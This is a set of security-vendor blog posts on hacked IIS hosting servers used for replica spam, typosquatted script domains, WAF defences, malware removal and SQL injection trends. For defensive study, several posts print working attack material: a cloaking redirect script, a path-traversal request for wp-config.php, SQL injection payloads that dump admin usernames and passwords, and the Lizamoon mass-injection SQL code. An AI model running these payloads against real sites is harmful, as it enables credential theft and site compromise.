IIS, Compromised GoDaddy Servers, and Cyber Monday Spam

While doing an analysis of one black-hat SEO doorway on a hacked site, I noticed that it linked to many similar doorways on other websites, and all those websites were on IIS servers. When I see these patterns, I try to dig deeper and figure out what else those websites have in common. This time I revealed quite a few GoDaddy Windows servers have been pwned by “replica spam” hackers.

Let’s Dig Into Some Numbers

1,782 Domains. I collected 1,782 unique compromised domains that hackers use in this campaign. This list is just a tip of an iceberg and I’ll show why a bit later, so read on.

305 IP Addresses. Those websites are scattered across 305 unique IP addresses (actually 304, if we ignore four domains whose addresses I couldn’t resolve). This means roughly 6 websites per IP, however they are not evenly distributed and while many IPs only have one compromised site, some of the servers have hundreds of them.

Top networks:

  • GoDaddy: 95 hosts (31%) and 1,095 websites ( 61%. )
  • Brinkster: 50 hosts (16%) and 258 websites (14%)
  • Network Solutions: 27 hosts (9%) and 77 websites (4%)
  • Versaweb LLC: 5 hosts (1.6%) and 88 websites (5%)

As you can see, 84% of all websites belong to 4 networks.

Let’s look closer at servers on these networks, but before we do it I’ll show how I find compromised websites.

Cyber Monday Spam

The spam campaign I’m investigating is promoting online stores that sell cheap “replicas” of popular luxury brands like Beats by Dre, Michael Kors, Lululemon, Uggs, Juicy Couture, Moncler, Ray Ban, etc. Most of the doorways are currently optimized for Black Friday and Cyber Monday deals. The typical anchor text they use in their links is something like “michael kors cyber monday” or “uggs black friday“.

These spammy links point to the homepage of compromised websites, which typically have a block of hidden links at the bottom of HTML code:

<div style="position:absolute;filter:alpha(opacity=0);opacity:0.001;z-index:10;"> ... 
30-400 spammy links here ... 
</div>

If the website is vulnerable enough, hackers will install a script that generates completely new spammy pages specifically for search engines and return normal pages for human visitors — cloaking. The “human” versions of the pages have a small script at the very top of the HTML (usually before the tag) that redirects web searchers to spammy sites. It either something like this:

<script>
var s=document.referrer;
if(s.indexOf("google")>0 || s.indexOf("bing")>0 || s.indexOf("aol")>0 || s.indexOf("yahoo")>0)
{
self.location='hxxp://www .jackets pretty .com'; //just one of many domains they use
}</script>

or a similar script, loaded from the spammers’ own server:

<script src="hxxp://nofie.talkmes . com/c/nofie.js" type="text/javascript"></script>

At this point they use the following script URLs:

hxxp://bats . solorule . com/d/bats.js
hxxp://bats . solorule . com/c/bats.js
hxxp://cancher . iamsanver . com/a/cancher.js
hxxp://cancher . letgopub . com/c/cancher.js
hxxp://cancher . sanonsport . com/d/cancher.js
hxxp://luover . unbangs . com/c/luover.js
hxxp://meika . ruvipshop . com/a/meika.js
hxxp://meika . sportruns . com/d/meika.js
hxxp://meika . ruvipshop . com/a/meika.js
hxxp://meika . ukingfans . com/c/meika.js
hxxp://nofie . godalice . com/d/cagode.js
hxxp://nofie . godalice . com/kspe.js
hxxp://nofie . rockenice . com/a/cagode.js
hxxp://nofie . rockenice . com/a/nofie.js
hxxp://nofie . talkmes . com/c/nofie.js
hxxp://ungogo . godleders . com/a/ungogo.js
hxxp://ungogo . leftgod . com/c/ungogo.js
hxxp://ungogo . leftgod . com/c/ungogo.js
hxxp://ungogo . nightleder . com/d/ungogo.js
hxxp://js . xufengonline . com/js/zong.js
hxxp://www . monclerslocker . com/js/style.js

Most of them are on the 173.252.207.166 IP (Take 2 Hosting Inc).

Detection

Any of these variants are easily detected by both Sucuri SiteCheck and Unmask Parasites, so it’s not a problem to check websites and tell whether they are infected or not.

Now that we know how to detect the infection, let’s just test random websites on some of the IPs that have many infected websites (based on my doorway analysis).

For example, let’s take 184.168.152.150 (where I found 25 doorways) and use the Bing’s “ip:” search operator along with the “cyber monday” keyword to find websites on that server: http://www.bing.com/search?q=ip%3A184.168.152.150+cyber+monday. Now you can scan websites for results that point to home pages (/ or index.html). More than 70% of the websites I checked are still infected (the rest either won’t load or have been cleaned already).

Bing Cyber Monday Results

Bing Cyber Monday Results

Compromised Servers

This simple Bing search revealed hundreds of infected websites on that server. I observed the same results for 49 out of 95 GoDaddy servers from my list.

184.168.152.149
184.168.152.150
184.168.152.151
184.168.152.3
184.168.27.116
184.168.27.204
184.168.27.205
184.168.27.206
184.168.27.32
184.168.27.33
184.168.27.34
184.168.27.35
184.168.27.36
184.168.27.37
184.168.27.39
184.168.27.40
184.168.27.41
184.168.27.44
184.168.27.46
184.168.27.47
184.168.27.81
184.168.27.82
184.168.27.83
184.168.46.17
184.168.46.18
184.168.46.74
50.63.196.33
50.63.196.34
50.63.196.35
50.63.196.47
50.63.197.10
50.63.197.12
50.63.197.13
50.63.197.139
50.63.197.140
50.63.197.141
50.63.197.142
50.63.197.144
50.63.197.145
50.63.197.203
50.63.197.206
50.63.197.207
50.63.197.208
50.63.197.6
50.63.197.7
50.63.197.8
50.63.197.9
50.63.202.26
97.74.215.156

Those 49 servers are shared Windows servers with thousands of sites. For example, Domaintools.com says 2,050 sites use the 184.168.152.150 address. The websites I checked belong to different users so it’s not just a matter of individual compromised accounts. And the websites are quite heterogeneous – ASP, PHP, pure HTML, etc. so it doesn’t look like a common web application vulnerability either. It looks like those servers have been pwned by hackers who now have access to most user accounts there. Given that we have almost 50 known such Windows servers on the GoDaddy network, this may mean some infrastructure level problems or at least common Windows server security configuration issues.

The rest of the servers typically have one or very few websites (I suppose either dedicated servers or IPs) so they don’t affect this hypothesis.

Some of the Brinkster and Versaweb servers also have this issue:

65.182.100.172
65.182.100.177
65.182.100.186
65.182.100.191
65.182.100.88
65.182.101.106
65.182.101.150
65.182.101.152
65.182.101.206
65.182.101.207
65.182.101.41
65.182.101.60

76.164.226.242
76.164.226.243
76.164.226.244
76.164.226.245
76.164.226.246

It’s still not clear why all websites on those servers have not been infected (or have they been cleaned already?). Maybe hackers infected them semi-manually, so just a few hundred infected websites was good enough for them?

When checking random websites on the compromised servers I noticed that some of them used very old versions of CMS’s (e.g. 4 year old WordPress). Maybe such websites were the penetration points that helped hackers compromise the whole servers later?

I also know that hackers install PHP wrapper scripts on pure HTML sites. For example, it’s typical to see a default.php working instead of index.html when you request a homepage. This wrapper script explains why you see the injected script at the very top of the HTML code and how hackers manage to implement “cloaking” on pure HTML sites.

At this point, I can only see the following things in common on the servers used in this spam campaign:

  • Windows
  • IIS (usually an old version)
  • PHP support

I wonder if this combination has a known security hole that allows to pwn server?

To Webmasters

This time I’d like to reach out to webmasters who host their websites on shared Windows servers. Especially to GoDaddy clients.

Please Check Your Websites ASAP!

You can start with free online scanners like Sucuri SiteCheck and Unmask Parasites,

Then check search results for your website on Google (the “site:” operator), where you should look for unexpected keywords in your page titles and descriptions. Make sure to check “cached” copies that Google store for your site. Then add the following keywords to your “site:” search that may help your spot more web spam:

  • site:yourdomain.com cheap
  • site:yourdomain.com buy online
  • site:yourdomain.com “cyber monday”
  • site:yourdomain.com “black friday”
  • site:yourdomain.com outlet

Then you might want to figure out if your server looks compromised. First, identify your website’s IP address. You can use commands like ping or host, you can enter your domain name on a website like whois.domaintools.com, or you can at least ask your hosting provider. With your IP, you can then use the Bing‘s “ip:” search along with some spammy keywords.

Here are a few searches that I suggest you can try:

ip:ip address cyber monday
ip:ip address black friday
ip:ip address ”beat by dre cheap”
ip:ip address ”Cheap Louis Vuitton”
ip:ip address viagra online
ip:ip address payday loans
ip:ip address “order cialis online”

If you see many results from different websites, you might want to ask your hosting provider what’s going on there, and if the server is really secure.

We are currently contacting hosting providers so they can address this issue…

Leveraging the WordPress Platform for SPAM

We’ve all seen WordPress comment and pingback spam, but thanks to strict moderation regimes and brilliant WordPress plugins that focus strictly on SPAM comments, comment spam isn’t a major problem for most websites these days. I have seen however, a new trend starting to emerge when it comes to spam involving WordPress.

In recent years WordPress has become the go-to platform for people looking to start their own website. It is easily installed and set-up, relatively light on resources, and has a high level of functionality. This feature list is not only appealing to everyday users, it is also appealing to spammers for the exact same reasons.


Read More

Typos Can have a Bigger Impact Than Expected

Have you ever thought about the cost of a typo? You know what I mean, a simple misspelling of a word somewhere on your website. Do you think there’s a risk in that?

You may have seen the Grammar Police all over your comments yelling that you used the wrong version of “your” and pointing out how stupid you are, right? Unfortunately, that’s the internet. But what if you have misspelled something that your readers can’t see right away?

Gogle API

What if your typo was in some third-party JavaScript? For example, ajax.gogleapis.com instead of ajax.googleapis.com ? There’s a chance that the domain doesn’t exist and the website just breaks, forcing you to spend some time debugging it to find the wrong include. No big deal. But there is a more dangerous possibility here. The domain could be registered and serving malware to those websites.

Luckily enough the owner of ajax.gogleapis.com, Robin Bradshaw, reached out to us with his findings. He posted on Twitter in response to a recent post of ours about the dangers of hosting third-party scripts. Bradshaw told us that he bought the domain because he was bored and wanted to check if those typos were an issue. He got some interesting data.

It is impressive how many hits it has been receiving since February:

Graphs show 70K views per month

Monthly visits to the misspelled gogleapis.com

Most traffic is coming from Brazilian IP addresses, which is getting there thorough an NGO website. They were contacted to fix this typo, but they never replied. Still waiting for the fix. All the other websites seem to be fixing their code quickly.

Brazil is largest by far, followed by Italy and US

Breakdown of countries using the typos script

Since Bradshaw is such a great guy, not only he did take the typo away from the hands of a person with malicious intentions, but he’s also serving a valid working copy of the ga.js file. Could you imagine how harmful it would be if someone else had gotten a hold of this domain? Someone could easily add to that ga.js file and serve malware or injected malicious SEO.

Typo Squatting

We have looked at one of the possible typos, but what about others?

Of course other people have already thought about using this technique as a way to distribute malware. In this case, the idea is not to register the domain and wait for someone to mistakenly write the URL incorrectly, but rather to deceive the user when they are investigating malicious or suspicious code on their website.

I was able to find a similarly misspelled URL: googleaspis(dot)com. The content is not malicious right now, but it is not serving the right script and it is redirecting the user to a different website.

HTTP headsers of googleaspis.com Redirects to another domain

Googleaspis(dot)com Redirects

A quick check on GitHub revealed one repository with a link to this website. Interestingly, the file name was index_malware.html. The website owner probably wasn’t able to find the malware there and recreated the whole index file, but it’s just speculation.

Github shows typo in index_malware.html

Github shows typo in index_malware.html

There are other typo domains hosted on the same server, like: facebookapis(dot)com, facebboklogin(dot)com, fgoogleapis(dot)com, oogleapis(dot)com and many others.

Conclusion

During my checks I didn’t find any malicious code being hosted by misspelled domains, but that doesn’t mean that there aren’t any. I checked more than 200 variations of Google’s domains used to host scripts for statistics and styles, and all the sites which answered were parked domains. The most suspicious behavior is the one I shared in this post. It does provide for some interesting food for thought though.

Remember to check and double-check all the external content you add to your site. Make sure it’s from a reliable source and that it is typed correctly. The price of a single misspelled character on a domain can be really high.

Protecting Against Unknown Software Vulnerabilities

Bugs exist in every piece of code. It is suggested that for every 1,000 lines of code, there are on average 1 to 5 bugs to be found.

Some of these bugs can have security implications. These are known as vulnerabilities, and they can be used to exploit and compromise your server, your site and your users.

As long as there are people involved in the process of writing code and setting up systems, mistakes will happen as it is part of human nature. As such, security problems will always be something we have to deal with.

Impact of Vulnerabilities on Websites

Why does it matter that much? Last week, both WordPress and Drupal released new versions of their Content Management System (CMS) to patch important security vulnerabilities. Other popular WordPress plugins also released updates to fix their vulnerabilities.

Once a vulnerability is found and a patch is available, the solution is simple: Apply the patch (by doing an update) and you are now protected. It is the endless cycle that is known as software development. A bug will be found, a patch will be available, the patch is applied, another bug is found, a new patch is available, the patch is applied. Every time a new feature is introduced, new bugs are also introduced with it.

It seems like a simple process for a webmaster that as long as he is updated, he is safe.

However…

How do you protect against unknown software vulnerabilities?

What if you do not know about a specific vulnerability, how do you patch and protect your website?

What if an update goes out over a long weekend? A 0-day gets disclosed before an update is available? Or what if a vulnerability is discovered by the bad guys and they start using it without telling anyone?

  • The latest SQL injection vulnerability in the Drupal platform was being exploited within 7 hours of it’s disclosure.
  • Websites were being compromised via TimThumb before the public knew about it and a patch was available
  • We have hits in our logs from days before the latest XSS vulnerability in WordPress was disclosed.

So the question is, how do you increase your security so that you can minimize the risk and the chances of being compromised when (not if) someone tries to attack your site misusing an unpatched / unknown vulnerability?

You have options:

  1. Restrict who can access parts of your site to minimize the attack footprint.
  2. Employ prevention solutions that try to block exploit behaviors (generally called WAF’s or IPS’s).
  3. Harden parts of your stack to minimize the effect of an exploit.
  4. Constant network and log monitoring to identify Indicators of Compromise (IoC).

These are just some examples. They may sound hard or too advanced, but they are actually doable and every website owner should look into it.

Think about your desktop / notebook computer for a second. Why does every (or almost every) desktop have a personal firewall, an anti-virus, a spam filter and other similar tools? Yes, even Macs have them as well.

Why do most networks (including home networks) run behind a router with basic / advanced firewalls working to filter and prevent attacks from the Intranet?

The reason is simple: minimize the footprint and options for an attacker.

Now think about your website[s]. Let’s look at a few examples into how that can be applied to your Website security:

WordPress 4.0 Long Password DOS

Both Drupal and WordPress had a vulnerability disclosed last week that allowed an attacker to DoS (Denial of Service) a site by sending many, very long passwords in the login requests.

Prevention: Access Restriction / Reduced Footprint.
Block wp-login and wp-admin access only to authorized IP addresses. If an attacker can’t reach your login page, he won’t be able to exploit this vulnerability.

Simple solution that anyone can do by adding an .htaccess to your wp-admin allowing just a few IPs. We find this feature important enough that we employ it to our stack by default and set it as default for all users of our Website Firewall product.

Paid Memberships Pro Path Traversal

Paid Memberships Pro is a popular WordPress plugin that had a path transversal (arbitrary file download) vulnerability disclosed last week. The exploit is possible by accessing: wp-admin/admin-ajax.php and passing a file to be downloaded via getfile:

wp-admin/admin-ajax.php?action=getfile&/../../wp-config.php

Prevention: Access restriction / reduced footprint.
The same as before, restrict access to only whitelisted IPs.

Prevention 2: WAF/IPS.
Even if the previous restriction was bypassed, an Intrusion Prevention System (IPS) or Web Application Firewall (WAF) would prevent it from being exploited through generic Local File Inclusion / Remote File Inclusion (LFI/RFI) rules.

WordPress 3.9.x stored XSS

WordPress versions 3.9.2 and earlier are affected by a critical cross-site scripting vulnerability, which could enable anonymous users to compromise a site. This was reported and patched last week as well.

This vulnerability abuses the core commenting system, an attacker is able to craft a simple comment to send a malicious payload that when viewed by the administrator, allows the attacker to take over the site. This explains it’s severity.

Prevention: Reduced footprint.
First, if your site does not need or use comments, why leave it open? You can block any access to wp-comments-post via .htaccess and be covered right away. If you do need comments, you can use external commenting systems that keep untrusted (user data) away from your trusted data (posts, pages, etc).

Prevention 2: Prevention technology.
Even if you do allow comments, employing a WAF or IPS would probably have blocked this XSS via generic XSS signatures that most good prevention products have.

WP-Statistics XSS

Our research team found a stored XSS in the very popular wp-statistics plugin.

Prevention: WAF/IPS.
This is where having a good WAF / IPS solution in place becomes a must. A WAF have (or should have) a XSS detection that will block this attack generically, without even knowing about this specific vulnerability. On our own WAF, we were blocking it automatically before even knowing about this bug, in a way that we did not even need to write a virtual patching for it.

Staying ahead of Unknowns

Last weeks releases are growing in number each month, as they do the importance of being able to tackle the problem of unknowns grows. Following some of the steps above would improve your over Security posture allowing you to better recognize and respond to these issues, reducing your overall risk footprint.

We offer a product that can do this all, but many of the recommendations you can employ on your own by leveraging open technologies and .htaccess changes:

  • Restrict access to wp-admin/wp-login (and any other access point) only to authorized IPs.
  • Limit footprint. Do you need comments? Do you use XMLRPC? Blocking everything and only allowing what you really need.
  • Leverage a WAF / IPS and you can do this with products like Modsecurity and OSSEC.

We’ve obviously built a technology that automates all these things for you, allowing you to get back to running your business, but you can see there are various options available to you. If you’re interested in a free trial, ping us at info@sucuri.net.

Website Malware Removal: Phishing

As we continue on our Malware Removal series we turn our attention to the increasing threat of Phishing infections.

Just like a fisherman casts and reels with his fishing rod, a “phisher-man” will try their luck baiting users with fake pages, often in the form of login pages. These copied website pages are cast into infected websites with the hope that some users will bite, and get reeled into giving away their secret data. Wielding the web development and scripting knowledge necessary to make forms that look convincingly realistic, hackers lure unsuspecting users into entering their credentials on the imitated page.


Read More

Deep Dive into the HikaShop Vulnerability

It’s been two months since our disclosure of an Object Injection vulnerability affecting versions <2.3.3 of the Joomla! Hikashop extension. The vulnerability allowed an attacker to execute malicious code on a target website.

How Does Object Injection Work?

Object Injection occurs when raw user input is passed to an unserialize() function call. When this happens, someone with malicious intent can send a serialized instance of a class known in the current application’s context, ensuring that at least one of these class’s defined as magic methods will be executed at some point in the code.

Read More

The Art of Website Malware Removal – The Basics

When talking about defense against malicious hacks, the attack vector is a common topic for Information Security (InfoSec) professionals. The primary concern is to understand the anatomy of the attack and prevent it from happening again. However, there is a less glamorous task that must take place once an attack vector is exploited; that is malware removal (a.k.a., cleaning up the mess).

The task of cleaning, removing, malware often falls on your shoulders as the website owner / administrator.

While unfortunate and frustrating, malware infections greet us like flat tire or a burst water pipe in the middle of the night. It’s never expected, it’s always while you are sleeping and it’s impacts are felt greatly. They hurt search engine rankings (i.e., SEO), spread malware to users, introduce branding issue, cause websites to be shutdown and a slew of other less than pleasant experiences. The important thing to note though, is that like other problems that surprise us in life, malware infections must be dealt with quickly and correctly. You cannot drive your daily commute on a flat tire, nor can you operate a website that is infected with malware.

Malware needs to be removed as soon as possible before the consequences begin to amplify themselves and their impacts.

Four Common Malware Families Affecting Websites

Like the real-life pests and diseases that they are named for, worms, viruses, and other types of cyber-menaces that have earned metaphorical aliases have many varieties, purposes, and ways to deal with different types of malware. The treatment of one kind of skin infection may have no effect when applied to another, and attempting to remove a hornet nest with the same caution as a bird nest would lead to disastrous results. The scenario is virtually the same when cleaning an infected website.

Due to the multitude of technologies, languages, frameworks and tools, code on the web can be as diverse as human culture itself. This brings about millions of possibilities to achieve very similar goals in software development. Malware takes on this model, and rears it’s ugly head in many different forms, functioning to serve many different purposes.

1. Blackhat SEO Spam Injections

Everybody who reads this blog has seen it before: a website with some very out of place looking advertisements, that are usually of the pharmaceutical, pornographic, knock-off designer brand or fast-money lending nature. These websites have been hit by a criminal user looking to feed off of the website’s traffic in order to advertise for products and services that would normally be very restricted or banned by most hosting policies. Using the victim website as a billboard, the hacker earns commission based income off of the number of clicks or forced redirects that are generated because of the injected malware.

The malicious code that causes injected spam content can be structured in several ways, placed in many locations, or be encoded in a multitude of ways to appear like normal software. Because of this, it is very difficult to have an across-the-board detection method for all types of SEO spam. There are many varieties in the wild that infect websites every day. Furthermore, some infections are scripts can activate based on time or events on your site. These can constantly update posts and pages to display junk or redirect users to affiliate pages, even after you’ve done the work to get rid of it. This can cause a major strain on cleanup, so the best solution is to be prepared with a full backup. By updating to a recent clean version from before a successful attack, website owners can go back in time to a moment before the hack took place, and update their security measures to make sure their content is not overshadowed by blackhat SEO spam.

2. Phishing

Little do many webmasters know, but millions of websites across the internet have pages that definitely should not be there. These hidden pages are home to code that is crafted to resemble other websites on the Internet, like BofA.com, Amazon.com, eBay.com, Hotmail, Gmail, Facebook, and many others.

The hackers that put these pages on your site are using them to trick other users to mistakenly put their credentials into a form controlled by the hackers, instead of the official website they think they are sending their password to. This is the reason those policy memos from your bank are always telling you to thoroughly check the links you click when going to manage your finances, or that you should never click a link to go to your bank account from your email. Those links may actually be under the control of someone looking to steal your information, to then steal your money, from pages hosted on a website of an unknowing person, not actually looking to help criminals steal usernames and passwords.

3. Drive-By Downloads

Malware can be difficult to detect, and often employs social engineering tactics, or methods that trick users into playing into the clutches of the attacker. Forms, pop-ups, ads and other site functions can be compromised to force a user to click on something other than intended, or answer a question where the secret answer is actually Yes, I would like to download that .exe file.

These infections, called Drive-By Downloads, are incredibly dangerous to end-users, as they allow attackers to escalate their control from an infected website, to the potential administrative access of any computer that accesses that website. Once the malicious payload has been delivered to the victim user’s machine, it may activate automatically or wait to be activated by some other method before scraping the user’s machine of sensitive information, and sending that along with remote access privileges to a waiting attacker.

4. Backdoors

While some infectious files are meant to actively perform tasks, create spam or attack visitors, other types are meant to lay in wait, and appear only to the hackers that know they are there. These are called backdoor infections. These can lead to large scale attacks by allowing the attacker to build up a number of websites to use as attack surfaces. They can look very different in separate cases, but often have a similar function at the end of their task list: to provide the hacker with the access needed to control the website or server at any chosen time.

Backdoors can serve multiple purposes, ranging from being able to reinfect websites after cleanup, to linking the targeted site to a network of other sites used in DDoS attacks, or massive spam mail campaigns.

Scrubbing Away the Hacker Residue

Learning to deal with each type of malware infection individually is quite challenging at a technical level, but having a plan to get back to normal under any circumstance is important nonetheless.

If detection fails, a keen eye is needed to analyze website content, functionality and code for any signs of intrusion. Once a thread is noticed, it must be followed to determine where in the files or database that the malware located, so that it can be removed.

Once the code showing the infection (i.e., symptom) is removed you must ensure that you go through the rest of the website and remove / repair any backdoors or potential attack vectors. In further efforts to prevent reinfection, all software should be updated fully to minimize the chance of known vulnerabilities being exploited, and all passwords changed, to eliminate the risk that they were stolen during the attack.

It can always be assumed that a stable backup from before a time where malicious files or database entries existed on the server will solve almost any problem. It is therefore, extremely important to maintain backups that are scheduled to be made on a timeframe that will suit to overwrite the infected aftermath of a website. We’ve spoken about backups at length before, but it’s a necessity.

Contrary to popular belief, malware removal is not a Do It Yourself (DIY) project. It has affected the brightest developers and security professionals; it’s time consuming, and can be the cause of many restless nights and days. If you find yourself in this predicament know that there are professionals out there that specialize in this work.

Remember, website infections are like Icebergs, they only display 10% of the problem.

Combat Blackhat SEO Infections with SEO Insights

Blackhat SEO spam is the plague of the internet, and the big search engines take it seriously.

One of the worst spam tactics on the internet is becoming more common every day: innocent websites are hacked, and their best pages begin linking to spam. These Blackhat SEO spam tactics are fighting for expensive, high-competition keywords like: viagra, payday loans, casino… and lately a lot of high fashion spam.

This is a topic we write about often – it is rampant, after all. This time we’re going to dig into why it happens, what makes your site such an attractive target, and the SEO tools that can help you.


Read More

The Details Behind the Akeeba Backup Vulnerability

It’s been a month since our disclosure of a low-severity vulnerability affecting Akeeba Backup version 3.11.4, which allowed an attacker to list and download backups from a target website using the extension’s JSON API.  As promised, here’s the technical details describing how it was possible for us to send valid requests to the API and download our test website’s database and file backups.

Getting to Know the Code’s Structure

Here’s where the main event takes place. Note that $request->body contains our decrypted JSON payload. This will be useful later on:


Read More

Website Attacks – SQL Injection And The Threat They Present

We are starting a new series of articles where we will talk about different active website attacks we are seeing.

The first one we will cover is known as a SQL Injection (SQLi). Some might know what a SQL Injection (SQLi) attack looks like, but assuming you don’t, it’s an attack that leverages an injection technique to manipulate and / or further exploit your SQL based database. It does this by passing queries and commands to your database, often via input forms on your website. The Open Web Application Security Project (OWASP) defines an SQLi attack as:

A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands. – OWASP

An example of what an attack may look like can be seen in the following query:

SELECT subject from posts WHERE subject LIKE '%$subject%';

If the $subject variable can be manipulated by a bad actor. Manipulation can include modification of data, display or listing of data and possibly even insertion of new data. In some special cases, it can also be used to execute shell commands and / or dump passwords (tip: MySQL Load_file function). To give a extreme example, this is the screenshot from one or our researchers doing a penetration test against a vulnerable application:

Sucuri - SQL Injection Example - Load File Abuse

Sucuri – SQL Injection Example – Load File Abuse

Our researcher was able to use load_file() to dump the password list from the server.

What we’ve provided here is a very watered down summary of what SQLi is and what it’s important to you, if you are a developer or enduser we recommend you invest more time understand this attack vector and its implications to your website. A good resource is the OWASP – Testing for SQL Injection page.

SQL Injection Attacks

We are currently seeing more than 50,000 attacks per day that fall into our SQL Injection categorization. Most of them are automated and try to compromise well known vulnerabilities in common CMS’s and web projects (Joomla, WordPress, vBulletin, etc).

This is the attack fluctuation for SQLi attacks, month over month:

Sucuri - Month over Month Distribution of SQLi Attacks

Sucuri – Month over Month Distribution of SQLi Attacks

The number of attacks we are detecting is growing each month, this is to be expected though as our Website Firewall product continues to grow. Overall though, the number of SQL injection attempts continue to grow.

If we drill down into our data and hook it up to a geo locator we can also see that the attacks come from everywhere. Most people tend to think that Russia, Brazil, Romania and a few other countries are the “bad” sources, but for SQL injection, the top attackers come from the USA, India, Indonesia and China:

sql-injection-map

So unless you only service one specific country and don’t care about the rest of the world, Geo blocking is not a good protection against automated SQL injections. What we found interesting is that most bots still like to fake themselves as either Google, MSIE 6 or set no user agent at all:

16%- MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
13%- Googlebot/2.1; +http://www.google.com/bot.html)
11%- No user agent

Just by blocking these anomalous requests, you can get ride of 1/3 of all automated injection attempts.

Attack Types

The attacks really vary from each other, but we feel most can be classified into two categories:

1- Data Exfiltration

Data exfiltration via SQL Injection is what has contributed to some of the largest data breaches to date. The attackers find a vulnerability
that allows them to list all tables and dump all user accounts, emails and passwords.

Here is an example of what we consider data exfiltration, this is an active attack via our network:

/NewsType.asp?SmallClass='%20
union%20select%200,username%2BCHR(124)
%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin
%20union%20select%20*%20from%20news%20where%201=2%20and%20''='

You can see the smallclass variable was not being properly filtered, instead of accepting the Class ID, it allowed the attackers to run a query to the database to list all username and passwords from the admin table.

Had the user not been leveraging a Website Firewall, the attacker would have had his information compromised. This is a very good example of this classification, it demonstrates well what the attack looks like.

This is another example:

/index.php?view=article&id=422:undef&catid=170:2014-service-providers&Itemid=713&option=com_content'%20%20and(select%201%20from(select%20count(*),
concat((select%20(select%20(select%20concat(0x53,0x65,0x61,0x72,0x63,0x68,0x43,0x6F,
0x6C,0x6C,0x65,0x63,0x74,0x6F,0x72)%20from%20%60information_schema%60.tables%20limit%200,1))
%20from%20%60information_schema%60.tables%20limit%200,1),floor(rand(0)*2))x%20
from%20%60information_schema%60.tables%20group%20by%20x)a)%20and%207=7%20%20and%20''='

This code is a bit more complex, it tries to do the same form of exfiltration.

Another one we are seeing very often is against Joomla’s com_kunena module, attempting to exploit the latest disclosed vulnerability:

/index.php?option=com_kunena&func=
userlist&search=%25'/**//*!aNd*//**/1=2)/**//*!uNioN*//**//*!SeLecT*//**/1,/*!
concat(0x3b3b3b,username,0x3e3e3e,password,0x7c7c7
c,usertype)*/,/*!concat(0x3b3b3b,username,0x3e3e3e,password,0x7c7c7c,usertype)
*/,4,5,6,7,8,9,10,11,12,13,14,15/**//*!fRoM*//**/j
os_users/**//*!WheRe*//**/usertype=0x53757065722041646d696e6973747261746f72/**/
/*!oR*/usertype=0x41646d696e6973747261746f72%20--
%20;

2- Code Injection

We don’t see these very often, they often rely on some initial vulnerability pre-tests that we block automatically via our Website Firewall making it that much harder to record and attempt. A good example of malicious code injection happened with the old Robint/Lizamoon type of attacks against IIS web sites.

It was running this code:

0xdEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe=’u’ AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec(‘UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F77772E726F62696
E742E75732F752E6A733E3C2F7363726970743E aS vArChAr(51)) where ['+@c+'] not like ”%robint%”’) fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;–

Which would force the injection of JavaScript into some vulnerable websites database tables.

Conclusion

SQL Injections are a real threat, they are being actively attacked and exploited every day. If you are a developer you should be leveraging the OWASP SQL Injection Prevention Cheat Sheet at a minimum. In it you will find recommendations categorized into two groups Primary and Additional Defenses.

Primary Defenses:

Option #1: Use of Prepared Statements (Parameterized Queries)
Option #2: Use of Stored Procedures
Option #3: Escaping all User Supplied Input

Additional Defenses:

Also Enforce: Least Privilege
Also Perform: White List Input Validation


Now my question is to you, those reading this and interested in the data, what additional information would you like to see in our reports and posts? We’re always looking for feedback and insights to improve our content and contributions.